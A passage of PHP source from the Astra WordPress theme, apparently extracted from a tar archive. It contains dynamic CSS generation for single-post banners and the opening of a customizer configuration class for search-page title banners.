$current_post_type ? array( 'ast-dynamic-single-' . $current_post_type . '-image', 'ast-dynamic-single-' . $current_post_type . '-title' ) : array( 'ast-dynamic-single-' . $current_post_type . '-title', 'ast-dynamic-single-' . $current_post_type . '-meta' ) ); // Banner Text typography dynamic stylings. $banner_text_font_size = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-text-font-size' ); // Banner Title typography dynamic stylings. $banner_title_font_size = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-title-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-size' ) ); // Banner Meta typography dynamic stylings. $banner_meta_font_size = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-meta-font-size' ); $css_output_min_tablet = array(); $narrow_container_width = astra_get_option( 'narrow-container-max-width', apply_filters( 'astra_narrow_container_width', 750 ) ); $author_avatar_size = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-author-avatar-size' ); // Aspect ratio. $aspect_ratio_type = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-article-featured-image-ratio-type', 'predefined' ); $predefined_scale = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-article-featured-image-ratio-pre-scale', '16/9' ); $custom_scale_width = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-article-featured-image-custom-scale-width', 16 ); $custom_scale_height = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-article-featured-image-custom-scale-height', 9 ); $aspect_ratio = astra_get_dynamic_image_aspect_ratio( $aspect_ratio_type, $predefined_scale, $custom_scale_width, $custom_scale_height ); $object_fit_style = 'custom' === $aspect_ratio_type ? 'cover' : ''; // Remove featured image padding. $remove_featured_image_padding = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-remove-featured-padding', false ) && 'layout-1' === $layout_type && 'none' === astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-article-featured-image-position-layout-1' ) ? true : false; // Few settings from banner section are also applicable to 'layout-1' so adding this condition & compatibility. if ( 'layout-1' === $layout_type ) { $image_wrap_alignment = Astra_Dynamic_CSS::astra_4_4_0_compatibility() ? 'center' : ''; /** * Desktop CSS. */ $css_output_desktop = array( $selector => array( 'text-align' => $desk_h_alignment, ), $selector . ' *' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-text-font-family' ), astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-text-font-weight' ), $banner_text_font_size, 'ast-dynamic-single-' . $current_post_type . '-text-font-extras', $text_color ), $selector . ' .entry-title' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-title-font-family' ), astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), $banner_title_font_size, 'ast-dynamic-single-' . $current_post_type . '-title-font-extras', $title_color ), $selector . ' .entry-meta, ' . $selector . ' .entry-meta *' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-meta-font-family' ), astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-meta-font-weight' ), $banner_meta_font_size, 'ast-dynamic-single-' . $current_post_type . '-meta-font-extras' ), $selector . ' a, ' . $selector . ' a *' => array( 'color' => esc_attr( $link_color ), ), $selector . ' a:hover, ' . $selector . ' a:hover *' => array( 'color' => esc_attr( $link_hover_color ), ), $selector . ' > *:not(:last-child)' => array( 'margin-bottom' => $elements_gap . 'px', ), $selector . ' .post-thumb-img-content' => array( 'text-align' => $image_wrap_alignment, ), $selector . ' .post-thumb img, .ast-single-post-featured-section.post-thumb img' => array( 'aspect-ratio' => $aspect_ratio, 'width' => Astra_Dynamic_CSS::astra_4_6_0_compatibility() && 'default' !== $aspect_ratio_type ? '100%' : '', 'height' => Astra_Dynamic_CSS::astra_4_6_0_compatibility() && 'default' !== $aspect_ratio_type ? '100%' : '', 'object-fit' => $object_fit_style, ), ); /** * Tablet CSS. */ $css_output_tablet = array( $selector => array( 'text-align' => $tab_h_alignment, ), $selector . ' .entry-title' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'tablet' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'tablet' ), ), $selector . ' .entry-meta, ' . $selector . ' .entry-meta *' => array( 'font-size' => astra_responsive_font( $banner_meta_font_size, 'tablet' ), ), ); /** * Mobile CSS. */ $css_output_mobile = array( $selector => array( 'text-align' => $mob_h_alignment, ), $selector . ' .entry-title' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'mobile' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'mobile' ), ), $selector . ' .entry-meta, ' . $selector . ' .entry-meta *' => array( 'font-size' => astra_responsive_font( $banner_meta_font_size, 'mobile' ), ), ); if ( $remove_featured_image_padding ) { $single_post_container_spacing = astra_get_option( 'single-post-inside-spacing' ); $container_padding_defaults = Astra_Dynamic_CSS::astra_4_6_0_compatibility() && is_single() ? '2.5em' : '3em'; $container_lg_horz_spacing = true === astra_check_is_structural_setup() ? $container_padding_defaults : '6.67'; $container_lg_vert_spacing = true === astra_check_is_structural_setup() ? $container_padding_defaults : '5.34'; $astra_desktop_container_left_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'left', 'desktop' ) ? astra_responsive_spacing( $single_post_container_spacing, 'left', 'desktop', $container_lg_horz_spacing ) : 'var(--ast-container-default-xlg-padding)'; $astra_desktop_container_right_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'right', 'desktop' ) ? astra_responsive_spacing( $single_post_container_spacing, 'right', 'desktop', $container_lg_horz_spacing ) : 'var(--ast-container-default-xlg-padding)'; $astra_desktop_container_top_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'right', 'desktop' ) ? astra_responsive_spacing( $single_post_container_spacing, 'right', 'desktop', $container_lg_vert_spacing ) : 'var(--ast-container-default-xlg-padding)'; $astra_tablet_container_left_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'left', 'tablet' ) ? astra_responsive_spacing( $single_post_container_spacing, 'left', 'tablet', $container_lg_horz_spacing ) : 'var(--ast-container-default-xlg-padding)'; $astra_tablet_container_right_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'right', 'tablet' ) ? astra_responsive_spacing( $single_post_container_spacing, 'right', 'tablet', $container_lg_horz_spacing ) : 'var(--ast-container-default-xlg-padding)'; $astra_tablet_container_top_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'right', 'tablet' ) ? astra_responsive_spacing( $single_post_container_spacing, 'right', 'tablet', $container_lg_vert_spacing ) : 'var(--ast-container-default-xlg-padding)'; $astra_mobile_container_left_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'left', 'mobile' ) ? astra_responsive_spacing( $single_post_container_spacing, 'left', 'mobile', $container_lg_horz_spacing ) : '1em'; $astra_mobile_container_right_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'right', 'mobile' ) ? astra_responsive_spacing( $single_post_container_spacing, 'right', 'mobile', $container_lg_horz_spacing ) : '1em'; $astra_mobile_container_top_spacing = defined( 'ASTRA_EXT_VER' ) && astra_responsive_spacing( $single_post_container_spacing, 'right', 'mobile' ) ? astra_responsive_spacing( $single_post_container_spacing, 'right', 'mobile', $container_lg_vert_spacing ) : '1.5em'; $css_output_desktop[ '.ast-separate-container ' . $selector . ' .post-thumb' ]['margin-left'] = $astra_desktop_container_left_spacing ? 'calc( -1 * ' . $astra_desktop_container_left_spacing . ' )' : ''; $css_output_desktop[ '.ast-separate-container ' . $selector . ' > *:first-child.post-thumb' ]['margin-top'] = $astra_desktop_container_top_spacing ? 'calc( -1 * ' . $astra_desktop_container_top_spacing . ' )' : ''; $css_output_desktop[ '.ast-separate-container ' . $selector . ' .post-thumb' ]['margin-right'] = $astra_desktop_container_right_spacing ? 'calc( -1 * ' . $astra_desktop_container_right_spacing . ' )' : ''; $css_output_tablet[ '.ast-separate-container ' . $selector . ' .post-thumb' ]['margin-left'] = $astra_tablet_container_left_spacing ? 'calc( -1 * ' . $astra_tablet_container_left_spacing . ' )' : ''; $css_output_tablet[ '.ast-separate-container ' . $selector . ' > *:first-child.post-thumb' ]['margin-top'] = $astra_tablet_container_top_spacing ? 'calc( -1 * ' . $astra_tablet_container_top_spacing . ' )' : ''; $css_output_tablet[ '.ast-separate-container ' . $selector . ' .post-thumb' ]['margin-right'] = $astra_tablet_container_right_spacing ? 'calc( -1 * ' . $astra_tablet_container_right_spacing . ' )' : ''; $css_output_mobile[ '.ast-separate-container ' . $selector . ' .post-thumb' ]['margin-left'] = $astra_mobile_container_left_spacing ? 'calc( -1 * ' . $astra_mobile_container_left_spacing . ' )' : ''; $css_output_mobile[ '.ast-separate-container ' . $selector . ' > *:first-child.post-thumb' ]['margin-top'] = $astra_mobile_container_top_spacing ? 'calc( -1 * ' . $astra_mobile_container_top_spacing . ' )' : ''; $css_output_mobile[ '.ast-separate-container ' . $selector . ' .post-thumb' ]['margin-right'] = $astra_mobile_container_right_spacing ? 'calc( -1 * ' . $astra_mobile_container_right_spacing . ' )' : ''; } } else { $entry_title_selector = is_customize_preview() ? $selector . ' .ast-container .entry-title' : $selector . ' .entry-title'; $image_position = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-image-position', 'inside' ); $use_featured_background = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-featured-as-background', false ); $custom_background = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-background', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-background' ) ); /** * Desktop CSS. */ $css_output_desktop = array( $selector => array( 'text-align' => $desk_h_alignment, 'justify-content' => $vert_alignment, 'min-height' => $desk_banner_height, 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'desktop' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'desktop' ), 'width' => '100%', 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'desktop' ), ), $selector . '[data-banner-layout="layout-2"]' => astra_get_responsive_background_obj( $custom_background, 'desktop' ), $selector . ' .ast-container *' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-text-font-family' ), astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-text-font-weight' ), $banner_text_font_size, 'ast-dynamic-single-' . $current_post_type . '-text-font-extras', $text_color ), $selector . ' .ast-container > *:not(:last-child), ' . $selector . ' .read-more' => array( 'margin-bottom' => $elements_gap . 'px', ), $selector . ' .ast-container' => array( 'width' => '100%', ), $entry_title_selector => astra_get_font_array_css( astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-title-font-family' ), astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), $banner_title_font_size, 'ast-dynamic-single-' . $current_post_type . '-title-font-extras', $title_color ), $selector . ' > .entry-title' => array( 'margin-bottom' => '0', ), $selector . ' .entry-meta, ' . $selector . ' .entry-meta *' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-meta-font-family' ), astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-meta-font-weight' ), $banner_meta_font_size, 'ast-dynamic-single-' . $current_post_type . '-meta-font-extras' ), $selector . ' .ast-container a, ' . $selector . ' .ast-container a *' => array( 'color' => esc_attr( $link_color ), ), $selector . ' .ast-container a:hover, ' . $selector . ' .ast-container a:hover *' => array( 'color' => esc_attr( $link_hover_color ), ), '.ast-single-entry-banner .read-more .ast-button' => array( 'margin-top' => '0.5em', 'display' => 'inline-block', ), $selector . ' .post-thumb img, .ast-single-post-featured-section img' => array( 'aspect-ratio' => $aspect_ratio, 'width' => Astra_Dynamic_CSS::astra_4_6_0_compatibility() && 'default' !== $aspect_ratio_type ? '100%' : '', 'height' => Astra_Dynamic_CSS::astra_4_6_0_compatibility() && 'default' !== $aspect_ratio_type ? '100%' : '', 'object-fit' => $object_fit_style, ), $selector . ' .ast-container > *:last-child' => array( 'margin-bottom' => '0', ), ); /** * Min tablet width CSS. */ $css_output_min_tablet = array( '.ast-narrow-container ' . $selector . ' .ast-container' => array( 'max-width' => $narrow_container_width . 'px', 'padding-left' => '0', 'padding-right' => '0', ), ); /** * Tablet CSS. */ $css_output_tablet = array( $selector => array( 'text-align' => $tab_h_alignment, 'min-height' => $tab_banner_height, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'tablet' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'tablet' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'tablet' ), ), $selector . '[data-banner-layout="layout-2"]' => astra_get_responsive_background_obj( $custom_background, 'tablet' ), $selector . ' .entry-title' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'tablet' ), ), $selector . ' .ast-container' => array( 'padding-left' => '0', 'padding-right' => '0', ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'tablet' ), ), $selector . ' .entry-meta, ' . $selector . ' .entry-meta *' => array( 'font-size' => astra_responsive_font( $banner_meta_font_size, 'tablet' ), ), ); /** * Mobile CSS. */ $css_output_mobile = array( $selector => array( 'text-align' => $mob_h_alignment, 'min-height' => $mob_banner_height, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'mobile' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'mobile' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'mobile' ), ), $selector . '[data-banner-layout="layout-2"]' => astra_get_responsive_background_obj( $custom_background, 'mobile' ), $selector . ' .entry-title' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'mobile' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'mobile' ), ), $selector . ' .entry-meta, ' . $selector . ' .entry-meta *' => array( 'font-size' => astra_responsive_font( $banner_meta_font_size, 'mobile' ), ), ); if ( ( $layout_2_active && 'custom' === $width_type ) || is_customize_preview() ) { $css_output_desktop[ $selector . '[data-banner-width-type="custom"]' ]['max-width'] = $custom_width . 'px'; } if ( 'outside' !== $image_position && in_array( 'ast-dynamic-single-' . $current_post_type . '-image', $single_structure ) && $use_featured_background ) { /** @psalm-suppress PossiblyFalseArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $feat_image_src = wp_get_attachment_url( get_post_thumbnail_id( get_the_ID() ) ); /** @psalm-suppress PossiblyFalseArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( $feat_image_src ) { $css_output_desktop[ $selector . '[data-banner-background-type="featured"]' ] = array( 'background' => 'url( ' . esc_url( $feat_image_src ) . ' )', 'background-repeat' => 'no-repeat', 'background-attachment' => 'scroll', 'background-position' => 'center center', 'background-size' => 'cover', ); $overlay_color = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-featured-overlay', '' ); if ( '' !== $overlay_color && 'unset' !== $overlay_color ) { $css_output_desktop[ $selector . '[data-banner-background-type="featured"]' ]['background'] = 'url( ' . esc_url( $feat_image_src ) . ' ) ' . $overlay_color; $css_output_desktop[ $selector . '[data-banner-background-type="featured"]' ]['background-blend-mode'] = 'multiply'; } } } if ( 'outside' === $image_position ) { $css_output_desktop['.single article .post-thumb'] = array( 'margin-bottom' => '2em', ); } } $dynamic_css .= ' .ast-single-entry-banner { -js-display: flex; display: flex; flex-direction: column; justify-content: center; text-align: center; position: relative; background: var(--ast-title-layout-bg); } .ast-single-entry-banner[data-banner-layout="layout-1"] { max-width: ' . astra_get_css_value( $site_content_width, 'px' ) . '; background: inherit; padding: 20px 0; } .ast-single-entry-banner[data-banner-width-type="custom"] { margin: 0 auto; width: 100%; } .ast-single-entry-banner + .site-content .entry-header { margin-bottom: 0; } .site .ast-author-avatar { --ast-author-avatar-size: ' . astra_get_css_value( $author_avatar_size, 'px' ) . '; } a.ast-underline-text { text-decoration: underline; } .ast-container > .ast-terms-link { position: relative; display: block; } a.ast-button.ast-badge-tax { padding: 4px 8px; border-radius: 3px; font-size: inherit; } '; if ( is_customize_preview() ) { $dynamic_css .= ' .site-header-focus-item .ast-container div.customize-partial-edit-shortcut, .site-header-focus-item .ast-container button.item-customizer-focus { font-size: inherit; } '; } $margin_top = astra_responsive_spacing( $margin, 'top', 'desktop' ); // To add top spacing for SureCart shop page default title. if ( class_exists( 'SureCart' ) && $margin_top && 0 === intval( $margin_top ) && get_the_ID() === intval( get_option( 'surecart_shop_page_id' ) ) ) { $dynamic_css .= ' .page .entry-header { margin-top: 3em; } '; } /* Parse CSS from array() */ $dynamic_css .= astra_parse_css( $css_output_desktop ); $dynamic_css .= astra_parse_css( $css_output_min_tablet, astra_get_tablet_breakpoint( '', 1 ) ); $dynamic_css .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() ); $dynamic_css .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() ); return $dynamic_css; } posts-structures/customizer/class-astra-posts-special-archive-structures-configs.php 0000644 00000101313 15104530576 0025346 0 ustar 00 <?php /** * Posts Structures Options for special pages. * * 1. Search page. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 4.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Posts Structures Customizer Configurations. * * @since 4.6.0 */ class Astra_Posts_Special_Archive_Structures_Configs extends Astra_Customizer_Config_Base { /** * Register Posts Structures Customizer Configurations. * * @param array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 4.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $section = 'ast-section-search-page'; $blog_layout = array( 'blog-layout-4' => array( 'label' => __( 'Grid', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'blog-layout-4', false ) : '', ), 'blog-layout-5' => array( 'label' => __( 'List', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'blog-layout-5', false ) : '', ), 'blog-layout-6' => array( 'label' => __( 'Cover', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'blog-layout-6', false ) : '', ), ); foreach ( Astra_Posts_Structure_Loader::get_special_page_types() as $special_type ) { $section = 'ast-section-' . $special_type . '-page'; $title_section = 'section-' . $special_type . '-page-title'; $archive_structure_choices = array(); $archive_structure_choices[ $title_section . '-title' ] = array( 'clone' => false, 'is_parent' => true, 'main_index' => $title_section . '-title', 'clone_limit' => 2, 'title' => __( 'Heading', 'astra' ), ); $archive_structure_choices[ $title_section . '-description' ] = array( 'clone' => false, 'is_parent' => true, 'main_index' => $title_section . '-description', 'clone_limit' => 2, 'title' => __( 'Subheading', 'astra' ), ); $archive_structure_choices[ $title_section . '-breadcrumb' ] = __( 'Breadcrumb', 'astra' ); $_configs = array( array( 'name' => $title_section . '-ast-context-tabs', 'section' => $title_section, 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', 'context' => array(), ), array( 'name' => $title_section, 'title' => ucfirst( $special_type ) . __( ' Page Title', 'astra' ), 'type' => 'section', 'section' => $section, 'panel' => '', 'priority' => 1, ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-' . $special_type . '-page-title]', 'type' => 'control', 'default' => astra_get_option( 'ast-' . $special_type . '-page-title', true ), 'control' => 'ast-section-toggle', 'section' => $section, 'priority' => 2, 'linked' => $title_section, 'linkText' => ucfirst( $special_type ) . __( ' Page Title', 'astra' ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-bottom-section-divider' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $title_section, 'default' => astra_get_option( $title_section . '-layout', 'layout-1' ), 'priority' => 5, 'context' => Astra_Builder_Helper::$general_tab, 'title' => __( 'Banner Layout', 'astra' ), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'choices' => array( 'layout-1' => array( 'label' => __( 'Layout 1', 'astra' ), 'path' => Astra_Builder_UI_Controller::fetch_svg_icon( 'banner-layout-1' ), ), 'layout-2' => array( 'label' => __( 'Layout 2', 'astra' ), 'path' => Astra_Builder_UI_Controller::fetch_svg_icon( 'banner-layout-2' ), ), ), 'contextual_sub_control' => true, 'input_attrs' => array( 'dependents' => array( 'layout-1' => array( $title_section . '-empty-layout-message', $title_section . '-article-featured-image-position-layout-1', $title_section . '-article-featured-image-width-type' ), 'layout-2' => array( $title_section . '-featured-as-background', $title_section . '-banner-featured-overlay', $title_section . '-image-position', $title_section . '-featured-help-notice', $title_section . '-article-featured-image-position-layout-2' ), ), ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-width-type]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-width-type', 'fullwidth' ), 'priority' => 10, 'title' => __( 'Container Width', 'astra' ), 'choices' => array( 'fullwidth' => __( 'Full Width', 'astra' ), 'custom' => __( 'Custom', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-bottom-spacing' ), 'responsive' => false, 'renderAs' => 'text', 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-custom-width]', 'type' => 'control', 'control' => 'ast-slider', 'section' => $title_section, 'transport' => 'postMessage', 'default' => astra_get_option( $title_section . '-banner-custom-width', 1200 ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-width-type]', 'operator' => '===', 'value' => 'custom', ), ), 'priority' => 15, 'title' => __( 'Custom Width', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 768, 'step' => 1, 'max' => 1920, ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'type' => 'control', 'control' => 'ast-sortable', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_multi_choices' ), 'section' => $title_section, 'context' => Astra_Builder_Helper::$general_tab, 'default' => astra_get_option( $title_section . '-structure' ), 'priority' => 20, 'title' => __( 'Structure', 'astra' ), 'choices' => $archive_structure_choices, ), array( 'name' => $title_section . '-custom-title', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-custom-title' ), 'linked' => $title_section . '-title', 'type' => 'sub-control', 'control' => 'ast-text-input', 'settings' => array(), 'section' => $title_section, 'priority' => 1, 'title' => __( 'Text', 'astra' ), ), array( 'name' => $title_section . '-found-custom-description', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-found-custom-description' ), 'linked' => $title_section . '-description', 'type' => 'sub-control', 'control' => 'ast-text-input', 'input_attrs' => array( 'textarea' => true, ), 'section' => $title_section, 'priority' => 1, 'title' => __( 'When Results Found', 'astra' ), ), array( 'name' => $title_section . '-not-found-custom-description', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-not-found-custom-description' ), 'linked' => $title_section . '-description', 'type' => 'sub-control', 'control' => 'ast-text-input', 'input_attrs' => array( 'textarea' => true, ), 'section' => $title_section, 'priority' => 1, 'title' => __( 'When Results Not Found', 'astra' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-horizontal-alignment]', 'default' => astra_get_option( $title_section . '-horizontal-alignment' ), 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'priority' => 21, 'title' => __( 'Horizontal Alignment', 'astra' ), 'context' => Astra_Builder_Helper::$general_tab, 'transport' => 'postMessage', 'choices' => array( 'left' => 'align-left', 'center' => 'align-center', 'right' => 'align-right', ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-vertical-alignment]', 'default' => astra_get_option( $title_section . '-vertical-alignment', 'center' ), 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'priority' => 22, 'title' => __( 'Vertical Alignment', 'astra' ), 'choices' => array( 'flex-start' => __( 'Top', 'astra' ), 'center' => __( 'Middle', 'astra' ), 'flex-end' => __( 'Bottom', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-section-spacing' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'transport' => 'postMessage', 'renderAs' => 'text', 'responsive' => false, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-height]', 'type' => 'control', 'control' => 'ast-responsive-slider', 'section' => $title_section, 'transport' => 'postMessage', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'default' => astra_get_option( $title_section . '-banner-height', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-slider' ) ), 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'priority' => 1, 'title' => __( 'Banner Min Height', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 1000, ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-section-spacing' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-elements-gap]', 'type' => 'control', 'control' => 'ast-slider', 'section' => $title_section, 'transport' => 'postMessage', 'default' => astra_get_option( $title_section . '-elements-gap', 10 ), 'context' => Astra_Builder_Helper::$design_tab, 'priority' => 5, 'title' => __( 'Inner Elements Spacing', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 100, ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-section-spacing' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-image-type]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-image-type', 'none' ), 'priority' => 5, 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Container Background', 'astra' ), 'choices' => array( 'none' => __( 'None', 'astra' ), 'custom' => __( 'Custom', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-custom-bg]', 'default' => astra_get_option( $title_section . '-banner-custom-bg', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-background' ) ), 'type' => 'control', 'control' => 'ast-responsive-background', 'section' => $title_section, 'title' => __( 'Background', 'astra' ), 'transport' => 'postMessage', 'priority' => 5, 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-image-type]', 'operator' => '===', 'value' => 'custom', ), ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-title-color' ), 'transport' => 'postMessage', 'priority' => 9, 'title' => __( 'Title Color', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-top-spacing' ), 'context' => Astra_Builder_Helper::$design_tab, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( 